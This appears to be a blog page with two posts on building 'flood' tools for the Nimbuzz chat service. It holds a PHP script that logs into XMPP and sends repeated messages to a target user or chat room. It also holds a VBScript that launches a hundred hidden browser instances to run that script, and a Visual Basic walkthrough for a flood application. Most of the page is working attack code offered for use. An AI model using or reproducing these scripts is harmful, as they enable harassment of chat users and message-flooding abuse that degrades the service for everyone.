VBS – PHP Flood

Posted in Uncategorized with tags , , , , , , , , , , , , , , on 19 March 2011 by Kang Dharmo

Bagi yang sudah pernah baca artikel aku tentang cara parsing variabel dengan PHP script dan cara nge-flood menggunakan VB Script tentunya lihat PHP script dan VBScript berikut udah mafhum. Bagi yang belum pernah atau belum tau, aduk – aduk dulu deh artikel aku yang lalu. Lupa aku judulnya. Wkwkwkwk…

Script pv_flood.php berikut sengaja cara parsingnya aku bikin menggunakan metode GET :

BaworVBS:
<HTML><HEAD>
<SCRIPT language='JavaScript' type='text/javascript'> top.window.opener = top.window; top.window.opener.focus(); top.window.close(); </SCRIPT>
</HEAD><BODY></BODY></HTML>
Function IScript_CloseCurrWin()
%Response.WriteLine(GetHTMLText(HTML.BaworVBS));< br />
End-Function;
<?
$resource='NIMBUZZ_MID456';
$host='o.nimbuzz.com';
$port='5222';
$server='nimbuzz.com';
$user = $_GET['nick'];
$password = $_GET['password'];
$to = $_GET['target'];
$jml_nick = $_GET['jml_nick'];
$jml_flood = $_GET['jml_flood'];
$body = $_GET['isi_flood'];
include 'XMPPHP/Log.php';
include 'XMPPHP/XMPP.php';
$koneksi=new XMPPHP_XMPP($host, $port, $user, $password, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);
$koneksi->connect();
$koneksi->processUntil('session_start');
$koneksi->presence();
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to, $body);
}
?>

Klo untuk room, mungkin skrip yang bawah gini yah? :

$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user, "available");
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to."@conference.nimbuzz.com", $body,"groupchat");
}
$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user."asdgasudaui7887eyi", "unavailable");

Dengan maksud, parsing variabel dari pv_flood.php kita buat dengan VBScript berikut :

nick="nick_nimbuzz_kamu"
password="password_kamu"
target="target@nimbuzz.com"
jml_nick="100"
jml_flood="100"
isi_flood="Text Messsage"
url_local="http://localhost/flood/pv_flood.php"
for i=1 to jml_nick
alamat=url_local & "?nick=" & i & nick & "&password=" & password & "&jml_flood=" & jml_flood & "&target=" & target & "&isi_flood=" & isi_flood
Dim ie
Set ie = CreateObject("internetexplorer.application")
ie.Navigate alamat
ie.Visible=False
next

Klo untuk room, target cuman isi nama roomnya doang. Lalu simpan dengan nama terserah_kamu.vbs. Udah cuman gitu thok. Enteng bikinnya, cukup pake Notepad ajah. Klo untuk room, berkreasi ndiri aja yah? Aku cuman mancing doang… :D

10 Comments »

VB Fundamental to Build Nimbuzz Flood Application

Posted in Go Blog ! with tags , , , , , , , , , , , , , , , , , , on 8 March 2011 by Kang Dharmo

To ease understanding how to build nimbuzz flood application based on VB programming languages, you may download a compressed file that containing VB-Form1 here immediately .

You need to know that the script code Form1 is still empty. But do not worry, here I will explain it one by one, row by row. Not only you can copy it to your Form1 script code, but you should try to understand the meaning of  that script.

Now, lets check it out !

1. Declaration of the function below is useful for creating random characters.

Public Function RandomString(ByVal length As Long) As String
Dim charset As String
charset = "1234567890abcd"
Dim chars() As Byte, value() As Byte, chrUprBnd As Long, i As Long
If length > 0& Then
Randomize
chars = charset
chrUprBnd = Len(charset) - 1&
length = (length * 2&) - 1&
ReDim value(length) As Byte
For i = 0& To length Step 2&
value(i) = chars(CLng(chrUprBnd * Rnd) * 2&)
Next
End If
RandomString = value
End Function

To obtain a variable that contains random characters based on functions above, we simply write the following script:

Dim tag_id as string
tag_id=RandomString(7)

It means, we’ll get a string variable names “tag_id” that contains 7 random char. The string may contain one of “1”,”2”,”3”,”4”,”5”,”6”,”7”,”8”,”9”,”0”, “a”, “b”, “c”, or “d“ . In this case, it can be useful to generate xml tags id like :

"<message type='groupchat' id='" & "bawor" & RandomString(7) & "' to='" & txtsubject & "'><body> Your_Message_Here </body></message>”

2. To customize speed of your flood, by changing Combo1 value, it will change Timer1 interval as well.

Private Sub Combo1_Click()
Timer1.Interval = Combo1
End Sub

3. Click  event on Label6 will display a PopUp Menu names jnsKlikKanan

Private Sub Label6_Click()
PopupMenu jnsKiriman
End Sub

This PopUp Menu contains sub menus, such as : mnLogin, mnLogout, cmdOneTime, cmdkontinyu, mnStop, mnStartPing, mnStopPing, and mnClosed

4. If mnClosed have been clicked, Form1 will be unloading

Private Sub mnClose_Click()
Unload Me
End Sub

5. When Form1 unloaded, Timer1, Timer2 will stop, and Winsock1 connection will close.

Private Sub Form_Unload(Cancel As Integer)
Timer1.Enabled = False
Timer2.Enabled = False
Winsock1.Close
End
End Sub

6. Click on sub menu named mnLogin, if all columns that we need have been already filled data, it will open Winsock1 connection with a server, and  locks all Nimbuzz ID fields as well. And sovereign, when one of columns has not been filled, it will appear a message containing a warning.

Private Sub MnLogin_Click()
If MnLogin.Caption = "Login" Then
If txt_User1 = "" Or txt_Password1 = "" Or txt_Resources1 = "" Then
Dim pesan1 As String
pesan1 = MsgBox("Fill your Nimbuzz ID (without @nimbuzz.com), password, and your resources first", vbOKOnly + vbInformation, " Warning..")
Else
MnLogin.Caption = "Cancel"
txt_User1.Locked = True
txt_Password1.Locked = True
txt_Resources1.Locked = True
Winsock1.Connect
End If
Else
Winsock1.Close
Timer1.Enabled = False
MnLogin.Caption = "Login"
Text2.Locked = True
End If
End Sub

7. If the submenu mnLogout is clicked, Winsock1’s connection will be disconnected, and it will unlock all Nimbuzz ID fields

Private Sub mnLogout_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Winsock1.Close
mnSend.Enabled = False
mnPingServer.Enabled = False
MnLogin.Enabled = True
mnLogout.Enabled = False
Text2.Locked = True
txt_User1.Locked = False
txt_Password1.Locked = False
txt_Resources1.Locked = False
Label5 = 0
mnStopPing.Enabled = False
mnStartPing.Enabled = True
End Sub

READ MORE <<

26 Comments »

« Older Entries
Follow

Get every new post delivered to your Inbox.